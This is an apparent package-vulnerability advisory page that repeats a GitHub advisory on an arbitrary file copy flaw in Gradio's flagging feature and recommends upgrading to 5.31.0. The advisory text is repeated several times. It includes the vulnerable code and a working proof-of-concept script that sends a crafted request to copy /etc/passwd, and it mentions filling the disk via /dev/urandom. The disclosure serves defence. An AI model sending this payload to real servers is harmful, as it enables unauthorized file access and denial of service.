An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method The vulnerable code flow: 1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint 2. The `path` field within `FileData` object can reference any file on the system 3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object 4. The `FileData._copy_to_dir()` method uses this path without proper validation: ```python def _copy_to_dir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(exist_ok=True) new_obj = dict(self) if not self.path: raise ValueError("Source file path is not set") new_name = shutil.copy(self.path, dir) # vulnerable sink new_obj["path"] = new_name return self.__class__(**new_obj) ``` 5. The lack of validation allows copying any file the Gradio process can read ### PoC The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory: Setup a Gradio app: ```python import gradio as gr def image_classifier(inp): return {'cat': 0.2, 'dog': 0.8} test = gr.Interface(fn=image_classifier, inputs="image", outputs="label") test.launch(share=True) ``` Run the PoC: ```python import requests url = "https://[your-gradio-app-url]/gradio_api/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" } payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "orig_name": "network_config", "size": 5000, "mime_type": "text/plain", "meta": { "_type": "gradio.FileData" } }, {} ], "event_data": None, "fn_index": 4, "trigger_id": 11, "session_hash": "test123" } response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") ```
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method The vulnerable code flow: 1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint 2. The `path` field within `FileData` object can reference any file on the system 3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object 4. The `FileData._copy_to_dir()` method uses this path without proper validation: ```python def _copy_to_dir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(exist_ok=True) new_obj = dict(self) if not self.path: raise ValueError("Source file path is not set") new_name = shutil.copy(self.path, dir) # vulnerable sink new_obj["path"] = new_name return self.__class__(**new_obj) ``` 5. The lack of validation allows copying any file the Gradio process can read ### PoC The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory: Setup a Gradio app: ```python import gradio as gr def image_classifier(inp): return {'cat': 0.2, 'dog': 0.8} test = gr.Interface(fn=image_classifier, inputs="image", outputs="label") test.launch(share=True) ``` Run the PoC: ```python import requests url = "https://[your-gradio-app-url]/gradio_api/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" } payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "orig_name": "network_config", "size": 5000, "mime_type": "text/plain", "meta": { "_type": "gradio.FileData" } }, {} ], "event_data": None, "fn_index": 4, "trigger_id": 11, "session_hash": "test123" } response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") ```
Update gradio to 5.31.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio Allows Unauthorized File Copy via Path Manipulation affects gradio (pip). Severity is medium. An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method The vulnerable code flow: 1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint 2. The `path` field within `FileData` object can reference any file on the system 3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object 4. The `FileData._copy_to_dir()` method uses this path without proper validation: ```python def _copy_to_dir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(exist_ok=True) new_obj = dict(self) if not self.path: raise ValueError("Source file path is not set") new_name = shutil.copy(self.path, dir) # vulnerable sink new_obj["path"] = new_name return self.__class__(**new_obj) ``` 5. The lack of validation allows copying any file the Gradio process can read ### PoC The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory: Setup a Gradio app: ```python import gradio as gr def image_classifier(inp): return {'cat': 0.2, 'dog': 0.8} test = gr.Interface(fn=image_classifier, inputs="image", outputs="label") test.launch(share=True) ``` Run the PoC: ```python import requests url = "https://[your-gradio-app-url]/gradio_api/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" } payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "orig_name": "network_config", "size": 5000, "mime_type": "text/plain", "meta": { "_type": "gradio.FileData" } }, {} ], "event_data": None, "fn_index": 4, "trigger_id": 11, "session_hash": "test123" } response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") ```
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | <5.31.0 | 5.31.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate gradio to 5.31.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanGradio Allows Unauthorized File Copy via Path Manipulation affects gradio (pip). Severity is medium. An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method The vulnerable code flow: 1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint 2. The `path` field within `FileData` object can reference any file on the system 3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object 4. The `FileData._copy_to_dir()` method uses this path without proper validation: ```python def _copy_to_dir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(exist_ok=True) new_obj = dict(self) if not self.path: raise ValueError("Source file path is not set") new_name = shutil.copy(self.path, dir) # vulnerable sink new_obj["path"] = new_name return self.__class__(**new_obj) ``` 5. The lack of validation allows copying any file the Gradio process can read ### PoC The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory: Setup a Gradio app: ```python import gradio as gr def image_classifier(inp): return {'cat': 0.2, 'dog': 0.8} test = gr.Interface(fn=image_classifier, inputs="image", outputs="label") test.launch(share=True) ``` Run the PoC: ```python import requests url = "https://[your-gradio-app-url]/gradio_api/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" } payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "orig_name": "network_config", "size": 5000, "mime_type": "text/plain", "meta": { "_type": "gradio.FileData" } }, {} ], "event_data": None, "fn_index": 4, "trigger_id": 11, "session_hash": "test123" } response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") ```
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| gradiopip | <5.31.0 | 5.31.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard